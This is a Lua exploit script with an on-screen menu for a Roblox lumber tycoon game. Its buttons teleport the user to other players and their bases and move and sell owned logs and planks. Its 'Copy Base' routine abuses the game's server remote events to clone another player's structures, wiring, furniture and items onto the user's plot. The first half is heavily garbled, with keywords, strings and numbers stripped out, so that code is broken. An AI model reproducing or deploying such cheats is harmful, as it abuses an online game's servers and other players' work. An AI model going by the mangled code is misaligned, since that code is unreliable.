buttons[i].Text = v.Name
buttons[i].Visible =
()
)
Player1.MouseButton1Down:(()
PlyrSel.Text = Player1.Text
)
Player2.MouseButton1Down:(()
PlyrSel.Text = Player2.Text
)
Player3.MouseButton1Down:(()
PlyrSel.Text = Player3.Text
)
Player4.MouseButton1Down:(()
PlyrSel.Text = Player4.Text
)
Player5.MouseButton1Down:(()
PlyrSel.Text = Player5.Text
)
Player6.MouseButton1Down:(()
PlyrSel.Text = Player6.Text
)
TpPlayer.MouseButton1Down:(()
PlyrSel.Text ==
()
.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = [PlyrSel.Text].HumanoidRootPart.CFrame
)
TpBase.MouseButton1Down:(()
i, v (.Workspace.Properties:())
v.Owner.Value == .Players[PlyrSel.Text]
p= .(v.OriginSquare.CFrame.x, v.OriginSquare.CFrame.y +, v.OriginSquare.CFrame.z)
.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = p
)
WoodFrame = .()
Woodmenu = .()
SawmillTp = .()
Woodmenu.Name =
Woodmenu.Parent = Picker
Woodmenu.BackgroundColor3 = .(, , )
Woodmenu.BorderColor3 = .(, , )
Woodmenu.Position = .(, , ,)
Woodmenu.Size = .(, , , )
Woodmenu.ZIndex =
Woodmenu.Image =
Woodmenu.ScaleType = .ScaleType.Crop
Woodmenu.MouseButton1Click:(()
CurrentItem.Image =
AIntroImage.Visible =
AIntroImage1.Visible =
)
WoodFrame.Name =
WoodFrame.Parent = MenuFrame
WoodFrame.BorderSizePixel =
WoodFrame.BackgroundTransparency =
WoodFrame.BorderColor3 = .(, , )
WoodFrame.BackgroundColor3 = .(, , )
WoodFrame.Size = .(, , , )
WoodFrame.Visible =
SawmillTp.Name =
SawmillTp.Parent = WoodFrame
SawmillTp.BackgroundColor3 = .(, , )
SawmillTp.BorderColor3 = .(, , )
SawmillTp.Position = .(, , , )
SawmillTp.Size = .(, , , )
SawmillTp.Font = .Font.Fantasy
SawmillTp.FontSize = .FontSize.Size18
SawmillTp.Text =
SawmillTp.TextColor3 = .(, , )
SawmillTp.TextSize =
SawmillTp.MouseButton1Down:(()
SawmillTp.Text =
SawmillTp.TextColor3 = .(, , )
SawmillC =
Mouse = .Players.LocalPlayer:()
Mouse.KeyDown:((key)
key:() ==
Treee = Mouse.Target
)
Mouse.KeyDown:((key)
key:() ==
Mouse.Target.Parent:()
Sawmill = Mouse.Target.Parent
Sawmill=Mouse.Target.Parent.Parent
Sawmill:() Sawmill:()
SawmillC =
SawmillC =
Treee ~=
(Treee)
()
)
(SelectedPart)
SawmillC ~=
SelectedPart.Parent:() SelectedPart.Parent:()
(..SelectedPart.Parent.TreeClass.Value)
Tree = SelectedPart.Parent
Tree.PrimaryPart = SelectedPart
.ReplicatedStorage.Interaction.Verify:(,Tree)
Tree:(Sawmill.Particles.CFrame)
.ReplicatedStorage.Interaction.ClientIsDragging:(Tree)
)
Goldaxe = .()
Goldaxe.Name =
Goldaxe.Parent = WoodFrame
Goldaxe.BackgroundColor3 = .(, , )
Goldaxe.BorderColor3 = .(, , )
Goldaxe.Position = .(, , , )
Goldaxe.Size = .(, , , )
Goldaxe.Font = .Font.Fantasy
Goldaxe.FontSize = .FontSize.Size18
Goldaxe.Text =
Goldaxe.TextColor3 = .(, , )
Goldaxe.TextSize =
Goldaxe.MouseButton1Down:(()
Goldaxe.Text =
Goldaxe.TextColor3 = .(, , )
()
.Players.LocalPlayer.Character:()
.Players.LocalPlayer.Character:()
HitPoints={
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
[]= ;
}
Pressing =
mouse1 = :().LocalPlayer:()
mouse1.Button1Down:((key)
Pressing=
(())
)
mouse1 = :().LocalPlayer:()
mouse1.Button1Down:((key)
Pressing=
)
(Height,Tool)
Tree=.Players.LocalPlayer:().Target
.ReplicatedStorage.Interaction.RemoteProxy:(Tree.Parent.CutEvent,{
[] = ,
[] = ,
[] = HitPoints[Tool.ToolName.Value],
[] = ,
[] = Tool,
[] = .(-,,),
[] = Height})
(Tool)
Pressing
i=,
()
(.SIZE,Tool)
(,Tool)
)
Harddrag = .()
Harddrag.Name =
Harddrag.Parent = WoodFrame
Harddrag.BackgroundColor3 = .(, , )
Harddrag.BorderColor3 = .(, , )
Harddrag.Position = .(, , , )
Harddrag.Size = .(, , , )
Harddrag.Font = .Font.Fantasy
Harddrag.FontSize = .FontSize.Size18
Harddrag.Text =
Harddrag.TextColor3 = .(, , )
Harddrag.TextSize =
Harddrag.MouseButton1Down:(()
Harddrag.Text =
Harddrag.TextColor3 = .(, , )
player = .Players.LocalPlayer
Character = player.Character player.CharacterAdded:()
Humanoid = Character:()
walkSpeed = Humanoid.WalkSpeed
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Disabled =
.dragRangeMin =
fivefour = .(()
EKey =
QKey =
player:().KeyDown:((key)
.(key) ==
EKey =
.(key) ==
QKey =
)
player:().KeyUp:((key)
.(key) ==
EKey =
.(key) ==
QKey =
)
()
EKey
F = FVal
FVal = FVal +
(F+)
(F)
QKey
F = FVal
FVal = FVal -
(F-)
(F)
)
()
dragPart = .(,.Players.LocalPlayer.PlayerGui)
dragPart.Size = .(,,)
dragPart.BrickColor = BrickColor.()
player.CharacterAdded:(()
Character = player.Character
Humanoid = Character:()
Humanoid.Died:(()
dragPart.Parent =
)
)
()
dragRangeMax =
dragRangeMin = .dragRangeMin
camera = .CurrentCamera
mouse = player:()
button1Down =
dragRange = dragRangeMax
FVal =
bodyPosition = .(, dragPart)
bodyPosition.maxForce = .(, , ) * FVal
bodyPosition.D =
bodyPosition.P =
(F)
F >
F = bodyPosition.maxForce.X+F
bodyPosition.maxForce = .(, , ) * F
F = bodyPosition.maxForce.X-F
bodyPosition.maxForce = .(, , ) * F
bodyGyro = .(, dragPart)
bodyGyro.maxTorque = .(, , ) *
bodyGyro.P =
bodyGyro.D =
rotateCFrame = .()
weld = .(, dragPart)
clientIsDragging = .ReplicatedStorage.Interaction.ClientIsDragging
carryAnimationTrack
draggingPart =
()
button1Down =
targetObject = .Players.LocalPlayer:().Target
(targetObject)
mouseHit = .Players.LocalPlayer:().Hit.p
(mouseHit - Character.Head.Position).magnitude > dragRangeMax
(targetObject, mouseHit)
rotateCFrame = .()
carryAnimationTrack:(, , )
dragIsFailing =
dragTime =
button1Down (targetObject)
desiredPos = Character.Head.Position + (.Players.LocalPlayer:().Hit.p - Character.Head.Position).unit * dragRange
dragRay = Ray.(Character.Head.Position, desiredPos - Character.Head.Position)
part, pos = :(dragRay, {Character, dragPart, targetObject.Parent})
part
desiredPos = pos
(camera.CoordinateFrame.p - Character.Head.Position).magnitude >
desiredPos = desiredPos + .(, , )
(desiredPos)
bodyGyro.cframe = .(dragPart.Position, camera.CoordinateFrame.p) * rotateCFrame
targParent = (targetObject) targetObject
attemptingToSurf =
_, check ({{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(-, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, -)).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, -)).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, -)).p, .(, -, ))},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, Character.HumanoidRootPart.CFrame.lookVector), State = .HumanoidStateType.Climbing},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(-, -, )).p, Character.HumanoidRootPart.CFrame.lookVector), State = .HumanoidStateType.Climbing},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(, -, )).p, Character.HumanoidRootPart.CFrame.lookVector), State = .HumanoidStateType.Climbing},
{Ray = Ray.((Character.HumanoidRootPart.CFrame * .(-, -, )).p, Character.HumanoidRootPart.CFrame.lookVector), State = .HumanoidStateType.Climbing}
})
ray = check.Ray
part, _ = :(ray, {Character})
op = part
part = part (part)
part ( check.State Humanoid:() == check.State)
part == targParent
attemptingToSurf =
_, connectedPart (op:())
connectedPart == targetObject
attemptingToSurf =
attemptingToSurf
falling = Humanoid:() == .HumanoidStateType.Freefall Humanoid:() == .HumanoidStateType.FallingDown
attemptingToSurf
dragIsFailing =
falling
dragIsFailing =
(dragPart.Position - desiredPos).magnitude >
dragIsFailing =
dragIsFailing =
dragIsFailing >
dragTime % == targParent.Parent:() targParent.Parent:()
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Parent.Scripts.VehicleControl.SetVehicleOwnership:(targParent.Parent.Main)
clientIsDragging:(targParent.Parent)
()
dragTime =
carryAnimationTrack:()
()
(child)
child child.Parent child.Parent ==
ret = child.Parent:() child
(child.Parent) ret
()
button1Down =
()
dragRange = dragRangeMax
(targetObject)
(targetObject targetObject.Anchored targetObject.Parent Humanoid.Health > )
targetObject.Name ==
originTargetObject = targetObject
targetObject = (targetObject) targetObject
bodyGyro.Parent = dragPart
targetObject.Parent:() targetObject.Parent.Parent:()
targetObject.Parent:()
targetObject.Parent:()
targetObject.Parent:()
targetObject.Parent:()
(targetObject, originTargetObject)
(targetObject, originTargetObject)
draggable = targetObject targetObject.Parent targetObject.Parent:() originTargetObject originTargetObject.Parent originTargetObject.Parent:()
draggable
draggable:()
bodyGyro.Parent =
(targetObject,mouseHit)
draggingPart =
mouse.TargetFilter = targetObject (targetObject) (targetObject).Parent targetObject
dragPart.CFrame = .(mouseHit, camera.CoordinateFrame.p)
weld.Part0 = dragPart
weld.Part1 = targetObject
weld.C0 = .(mouseHit,camera.CoordinateFrame.p):() * targetObject.CFrame
weld.Parent = dragPart
dragPart.Parent =
()
mouse.TargetFilter =
dragPart.Parent =
draggingPart =
dragGuiState =
()
()
newState =
mouseHit = .Players.LocalPlayer:().Hit.p
targetObject = .Players.LocalPlayer:().Target
draggingPart
newState =
(targetObject) button1Down (mouseHit - Character.Head.Position).magnitude < dragRangeMax
newState =
dragGuiState = newState
()
dragGuiState ==
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible =
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible =
dragGuiState ==
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible =
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible =
dragGuiState ==
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.Visible =
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.Visible = (bodyGyro.Parent == ) ( player:() player.IsChatting.Value < )
(pos)
bodyPosition.position = pos
rotateSpeedReduce =
lastRotateTick
(amount, speed)
draggingPart
player:() player.IsChatting.Value <
Humanoid.WalkSpeed = walkSpeed
Humanoid.WalkSpeed >
walkSpeed = Humanoid.WalkSpeed
Humanoid.WalkSpeed =
lastRotateTick = ()
thisRotateTick = lastRotateTick
draggingPart amount.magnitude > lastRotateTick == thisRotateTick
rotateCFrame = .(, -amount.X * rotateSpeedReduce, ) * .(amount.Y * rotateSpeedReduce, , ) * rotateCFrame
()
amount.magnitude ==
player:() player.IsChatting.Value <
Humanoid.WalkSpeed = walkSpeed
()
carryAnimationTrack = Humanoid:(.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger:())
.Players.LocalPlayer:().Button1Down:(()
()
()
)
.Players.LocalPlayer:().Button1Up:(()
()
)
()
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.Image = .Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.PC.Value
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanDrag.PlatformButton.KeyLabel.Text =
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.Image = .Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.PC.Value
.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.CanRotate.PlatformButton.KeyLabel.Text =
()
)
SellWood = .()
SellWood.Name =
SellWood.Parent = WoodFrame
SellWood.BackgroundColor3 = .(, , )
SellWood.BorderColor3 = .(, , )
SellWood.Position = .(, , , )
SellWood.Size = .(, , , )
SellWood.Font = .Font.Fantasy
SellWood.FontSize = .FontSize.Size18
SellWood.Text =
SellWood.TextColor3 = .(, , )
SellWood.TextSize =
SellWood.MouseButton1Down:(()
_, Log (.LogModels:())
Log.Name:(, ) == Log:()
Log.Owner.Value == .Players.LocalPlayer
i,v (Log:())
v.Name==
(()
i=,
()
v.CFrame=.(.(, -, ))*.(.(),,)
)
(function()
for i=1,20 do
wait()
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
end
end)
end
end
end
end)
local SellPlanks = Instance.new("TextButton")
SellPlanks.Name = "SellWood"
SellPlanks.Parent = WoodFrame
SellPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
SellPlanks.BorderColor3 = Color3.new(0, 0, 0)
SellPlanks.Position = UDim2.new(0, 3, 0, 95)
SellPlanks.Size = UDim2.new(0, 165, 0, 20)
SellPlanks.Font = Enum.Font.Fantasy
SellPlanks.FontSize = Enum.FontSize.Size18
SellPlanks.Text = "Sell Planks"
SellPlanks.TextColor3 = Color3.new(255, 0, 0)
SellPlanks.TextSize = 15
SellPlanks.MouseButton1Click:Connect(function()
for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
if Plank.Owner.Value == game.Players.LocalPlayer then
for i,v in pairs(Plank:GetChildren()) do
if v.Name=="WoodSection" then
spawn(function()
for i=1,10 do
wait()
v.CFrame=CFrame.new(Vector3.new(315, -0.296, 85.791))*CFrame.Angles(math.rad(90),0,0)
end
end)
end
end
spawn(function()
for i=1,20 do
wait()
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
end
end)
end
end
end
end)
local TPWood = Instance.new("TextButton")
TPWood.Name = "TPWood"
TPWood.Parent = WoodFrame
TPWood.BackgroundColor3 = Color3.new(0, 0, 0)
TPWood.BorderColor3 = Color3.new(0, 0, 0)
TPWood.Position = UDim2.new(0, 3, 0, 118)
TPWood.Size = UDim2.new(0, 165, 0, 20)
TPWood.Font = Enum.Font.Fantasy
TPWood.FontSize = Enum.FontSize.Size18
TPWood.Text = "TP Wood to You"
TPWood.TextColor3 = Color3.new(255, 0, 0)
TPWood.TextSize = 15
TPWood.MouseButton1Click:Connect(function()
for _, Log in pairs(game.Workspace.LogModels:GetChildren()) do
if Log.Name:sub(1, 6) == "Loose_" and Log:findFirstChild("Owner") then
if Log.Owner.Value == game.Players.LocalPlayer then
Log:MoveTo(game.Players.LocalPlayer.Character.HumanoidRootPart.Position + Vector3.new(0, 20, 0))
for i=1,100 do
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Log)
end
end
end
end
end)
local TpAllPlanks = Instance.new("TextButton")
TpAllPlanks.Name = "TpAllPlanks"
TpAllPlanks.Parent = WoodFrame
TpAllPlanks.BackgroundColor3 = Color3.new(0, 0, 0)
TpAllPlanks.BorderColor3 = Color3.new(0, 0, 0)
TpAllPlanks.Position = UDim2.new(0, 3, 0, 141)
TpAllPlanks.Size = UDim2.new(0, 165, 0, 20)
TpAllPlanks.Font = Enum.Font.Fantasy
TpAllPlanks.FontSize = Enum.FontSize.Size18
TpAllPlanks.Text = "TP Planks to You"
TpAllPlanks.TextColor3 = Color3.new(255, 0, 0)
TpAllPlanks.TextSize = 15
TpAllPlanks.MouseButton1Click:Connect(function()
for _, Plank in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Plank.Name=="Plank" and Plank:findFirstChild("Owner") then
if Plank.Owner.Value == game.Players.LocalPlayer then
sendNotice = game.ReplicatedStorage.Notices.SendUserNotice
sendNotice:Fire("Click where you want ALL the Planks to TP to")
local ButtonPress
ButtonPress = game.Players.LocalPlayer:GetMouse().Button1Down:Connect(function()
Square = game.Players.LocalPlayer:GetMouse().Target
if (Square.Name == "OriginSquare" or Square.Name == "Square") then
ButtonPress:Disconnect()
Plank:MoveTo(Square.Position)
for i=1,100 do
game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Plank)
end
end
end)
end
end
end
end)
local TeleportToSpook = Instance.new("TextButton")
TeleportToSpook.Name = "TeleportToSpook"
TeleportToSpook.Parent = WoodFrame
TeleportToSpook.BackgroundColor3 = Color3.new(0, 0, 0)
TeleportToSpook.BorderColor3 = Color3.new(0, 0, 0)
TeleportToSpook.Position = UDim2.new(0, 3, 0, 164)
TeleportToSpook.Size = UDim2.new(0, 165, 0, 20)
TeleportToSpook.Font = Enum.Font.Fantasy
TeleportToSpook.FontSize = Enum.FontSize.Size18
TeleportToSpook.Text = "TeleportToSpook"
TeleportToSpook.TextColor3 = Color3.new(255, 0, 0)
TeleportToSpook.TextSize = 15
TeleportToSpook.MouseButton1Click:Connect(function()
for i, v in pairs(game.Workspace:GetChildren()) do
if v.Name == "TreeRegion" then
for j, k in ipairs(v:GetChildren()) do
if k:FindFirstChild("TreeClass") and k.TreeClass.Value == "Spooky" or k:FindFirstChild("TreeClass") and k.TreeClass.Value == "SpookyNeon" then
game.Players.LocalPlayer.Character:MoveTo(k.WoodSection.Position)
break
end
end
end
end
end)
local PlayerNameBox = Instance.new("TextBox")
local CopyFrame = Instance.new("Frame")
local Copymenu = Instance.new("ImageButton")
Copymenu.Name = "Copymenu"
Copymenu.Parent = Picker
Copymenu.BackgroundColor3 = Color3.new(1, 1, 1)
Copymenu.BorderColor3 = Color3.new(0, 0, 0)
Copymenu.Position = UDim2.new(0, 15, 0,260)
Copymenu.Size = UDim2.new(0, 80, 0, 80)
Copymenu.ZIndex = 3
Copymenu.Image = "rbxassetid://3899462163"
Copymenu.ScaleType = Enum.ScaleType.Crop
Copymenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false
end)
CopyFrame.Name = "CopyFrame"
CopyFrame.Parent = MenuFrame
CopyFrame.BorderSizePixel = 1
CopyFrame.BackgroundTransparency = 0
CopyFrame.BorderColor3 = Color3.new(0, 0, 0)
CopyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
CopyFrame.Size = UDim2.new(0, 170, 0, 439)
CopyFrame.Visible = false
PlayerNameBox.Name = "PlayerNameBox"
PlayerNameBox.Parent = CopyFrame
PlayerNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
PlayerNameBox.BorderColor3 = Color3.new(0, 0, 0)
PlayerNameBox.Position = UDim2.new(0, 3, 0, 3)
PlayerNameBox.Size = UDim2.new(0, 165, 0, 20)
PlayerNameBox.Font = Enum.Font.Fantasy
PlayerNameBox.FontSize = Enum.FontSize.Size18
PlayerNameBox.Text = "PLAYER NAME"
PlayerNameBox.TextColor3 = Color3.new(255, 0, 0)
PlayerNameBox.TextSize = 15
local CopyBase = Instance.new("TextButton")
CopyBase.Name = "CopyBase"
CopyBase.Parent = CopyFrame
CopyBase.BackgroundColor3 = Color3.new(0, 0, 0)
CopyBase.BorderColor3 = Color3.new(0, 0, 0)
CopyBase.Position = UDim2.new(0, 3, 0, 26)
CopyBase.Size = UDim2.new(0, 165, 0, 20)
CopyBase.Font = Enum.Font.Fantasy
CopyBase.FontSize = Enum.FontSize.Size18
CopyBase.Text = "Copy Base"
CopyBase.TextColor3 = Color3.new(255, 0, 0)
CopyBase.TextSize = 15
--//Setting\\
CopyBase.MouseButton1Down:connect(function()
local RunService = game:GetService("RunService")
local TargetPlayer = PlayerNameBox.Text
local SlowMode = false
local WipeLocal = false
local CopyStructure = true
local CopyWire = true
local CopyItems = true
local CopyFurniture = true
--------------------------------------
if WipeLocal then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") then
if v.Owner.Value == game.Players.LocalPlayer then
game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v)
end
end
end
wait(0.5)
end
for i,v in pairs(game.Players:GetChildren()) do
if v ~= game.Players.LocalPlayer then
if v.Name:find(TargetPlayer) then
TargetPlayer = v
break
end
end
end
local LocalLand, TargetLand
for i,v in pairs(game.Workspace.Properties:GetChildren()) do
if v:FindFirstChild("Owner") then
if v.Owner.Value == TargetPlayer then
TargetLand = v
elseif v.Owner.Value == game.Players.LocalPlayer then
LocalLand = v
end
end
end
local CollectedTargetStructures, CollectedLocalStructures, CollectedLocalFurnitures, CollectedTargetFurnitures, CollectedLocalItems, CollectedTargetItems = {}, {}, {}, {}, {}, {}
local CollectedTargetItemsCopy, CollectedTargetFurnituresCopy = {}, {}
local TotalCollectedBlueprints = 0
if CopyStructure then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer then
if v:FindFirstChild("BuildDependentWood") and (v.Type.Value == "Structure" or v.Type.Value == "Furniture") then
local Data = {}
Data.WoodClass = v:FindFirstChild("BlueprintWoodClass") and v.BlueprintWoodClass.Value
Data.OffSet = (v:FindFirstChild("MainCFrame") and v.MainCFrame.Value or v.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
Data.BlueprintType = v.ItemName.Value
table.insert(CollectedTargetStructures,Data)
end
end
end
for i, Data in pairs(CollectedTargetStructures) do
game.ReplicatedStorage.PlaceStructure.ClientPlacedBlueprint:FireServer(Data.BlueprintType, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0), game.Players.LocalPlayer)
if SlowMode and (math.random(1,2) ~= 1) then
RunService.RenderStepped:Wait()
end
end
end
function blueprintHasBeenCollected(Model)
if CollectedLocalStructures[Model.Name] then
for i, BlueprintModel in pairs(CollectedLocalStructures[Model.Name]) do
if BlueprintModel == Model then
return true
end
end
end
return false
end
repeat
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == game.Players.LocalPlayer and v:FindFirstChild("Type") and v.Type.Value == "Blueprint" and not blueprintHasBeenCollected(v) then
if not CollectedLocalStructures[v.Name] then
CollectedLocalStructures[v.Name] = {}
end
table.insert(CollectedLocalStructures[v.Name], v)
TotalCollectedBlueprints = TotalCollectedBlueprints + 1
end
end
wait()
until TotalCollectedBlueprints == #CollectedTargetStructures
function SpawnStructure(Data, Blueprint)
local Position = Data.OffSet + LocalLand.OriginSquare.Position
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(Blueprint.ItemName.Value, Position, game.Players.LocalPlayer, Data.WoodClass, Blueprint, not Data.WoodClass)
end
for i, Data in pairs(CollectedTargetStructures) do
local Blueprint = CollectedLocalStructures[Data.BlueprintType][1]
table.remove(CollectedLocalStructures[Data.BlueprintType], 1)
SpawnStructure(Data, Blueprint)
if SlowMode and (math.random(1,2) ~= 1) then
RunService.RenderStepped:Wait()
end
end
function CreateWire(WireType, Points)
local Wire = game.ReplicatedStorage.Purchasables.WireObjects[WireType]
for i,v in pairs(Points) do
Points[i] = v + LocalLand.OriginSquare.Position
end
game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Wire, Points)
end
if CopyWire then
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and v.Owner.Value == TargetPlayer and v:FindFirstChild("Type") and v.Type.Value == "Wire" and v:FindFirstChild("End1") then
local Points = {}
local PointCount = 1
table.insert(Points, (v.End1.Position - TargetLand.OriginSquare.Position))
for i,w in pairs(v:GetChildren()) do
if w.Name:find("Point") then
PointCount = PointCount + 1
end
end
for i=2, PointCount do
local Point = v:FindFirstChild("Point"..tostring(i))
table.insert(Points, (Point.Position - TargetLand.OriginSquare.Position))
end
table.insert(Points, (v.End2.Position - TargetLand.OriginSquare.Position))
CreateWire(v.ItemName.Value, Points)
if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end
function isValidFurniture(Model)
if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Furniture" or Model.Type.Value == "Vehicle Spot") then
if Model:FindFirstChild("BuildDependentWood") or Model:FindFirstChild("PurchasedBoxItemName") then
return false
end
return true
end
return false
end
function Spawn(ItemName, Position)
local Info = {}
Info.Name = ItemName.Value
Info.Type = ItemName.Name == "PurchasedBoxItemName" and ItemName or game.ReplicatedStorage.Purchasables.Structures.HardStructures.Sawmill2.Type
Info.OtherInfo = game.ReplicatedStorage.Purchasables.WireObjects.Wire.OtherInfo
local Points = {Position.p, Position.p}
game.ReplicatedStorage.PlaceStructure.ClientPlacedWire:FireServer(Info, Points)
end
if CopyFurniture then
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidFurniture(Model) then
local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
if ItemName.Name == "PurchasedBoxItemName" then
Spawn(ItemName, Position + LocalLand.OriginSquare.Position)
else
Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
end
local Data = {}
Data.ItemName = ItemName.Value
Data.OffSet = Position
table.insert(CollectedTargetFurnitures, Data)
if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end
for i, v in pairs(CollectedTargetFurnitures) do
table.insert(CollectedTargetFurnituresCopy,v)
end
function isValidFurnitureModel(Model)
for i, Data in pairs(CollectedTargetFurnitures) do
if Data.ItemName == Model.ItemName.Value then
table.remove(CollectedTargetFurnitures, i)
return true
end
end
return false
end
repeat
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model.Name == "Wire" and Model:FindFirstChild("Owner") and Model.Owner.Value == game.Players.LocalPlayer and Model.ItemName.Value ~= "Wire" and isValidFurnitureModel(Model) then
table.insert(CollectedLocalFurnitures, Model)
end
end
wait()
until #CollectedTargetFurnitures == 0
function GrabModelFromCollectedFurnitures(ItemName)
for i, Model in pairs(CollectedLocalFurnitures) do
if Model.ItemName.Value == ItemName then
table.remove(CollectedLocalFurnitures,i)
return Model
end
end
end
for i, Data in pairs(CollectedTargetFurnituresCopy) do
local Model = GrabModelFromCollectedFurnitures(Data.ItemName)
local ItemName = Data.ItemName
local Position = Data.OffSet + LocalLand.OriginSquare.Position
game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure:FireServer(ItemName,Position,game.Players.LocalPlayer,false,Model,true)
if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
function isValidItem(Model)
if Model:FindFirstChild("Type") and (Model.Type.Value == "Structure" or Model.Type.Value == "Loose Item" or Model.Type.Value == "Tool" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture" or Model.Type.Value == "Gift") then
if (Model.Type.Value == "Structure" or Model.Type.Value == "Wire" or Model.Type.Value == "Furniture") and not Model:FindFirstChild("PurchasedBoxItemName") then
return false
end
return true
elseif not Model:FindFirstChild("Type") then
if Model:FindFirstChild("ItemName") then
local ItemName = Model.ItemName.Value:lower()
if ItemName:find("bob") and (ItemName:find("wob") or ItemName:find("head"))then
return true
end
end
end
return false
end
function itemIsOnLand(Position)
if (math.abs(Position.X - TargetLand.OriginSquare.Position.X) > 101 or math.abs(Position.Z - TargetLand.OriginSquare.Position.Z) > 101) then
return false
end
for i, Square in pairs(TargetLand:GetChildren()) do
if Square.Name == "Square" then
if (math.abs(Position.X - Square.Position.X) < 21 and math.abs(Position.Z - Square.Position.Z) < 21) then
return true
end
end
end
return false
end
if CopyItems then
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
if Model:FindFirstChild("Owner") and Model.Owner.Value == TargetPlayer and isValidItem(Model) then
local ItemName = Model:FindFirstChild("ItemName") or Model:FindFirstChild("PurchasedBoxItemName")
local Position = (Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame) - TargetLand.OriginSquare.Position
if itemIsOnLand((Model:FindFirstChild("MainCFrame") and Model.MainCFrame.Value or Model.PrimaryPart.CFrame).p) then
Spawn(ItemName, LocalLand.OriginSquare.CFrame - Vector3.new(0,20,0))
local Data = {}
Data.ItemName = ItemName.Value
Data.OffSet = Position
table.insert(CollectedTargetItems, Data)
if SlowMode and (math.random(1,2) ~= 1)then
RunService.RenderStepped:Wait()
end
end
end
end
end
for i, v in pairs(CollectedTargetItems) do
table.insert(CollectedTargetItemsCopy,v)
end
function isValidItemModel(Model)
for i, Data in pairs(CollectedTargetItems) do
if Data.ItemName == Model.ItemName.Value then
table.remove(CollectedTargetItems, i)
return true
end
end
return false
end
function itemHasBeenCollected(Model)
for i, Data in pairs(CollectedLocalItems) do
if Data.ItemName == Model.ItemName.Value then
return true
end
end
return false
end
repeat
for i, Model in pairs(game.Workspace.PlayerModels:GetChildren()) do
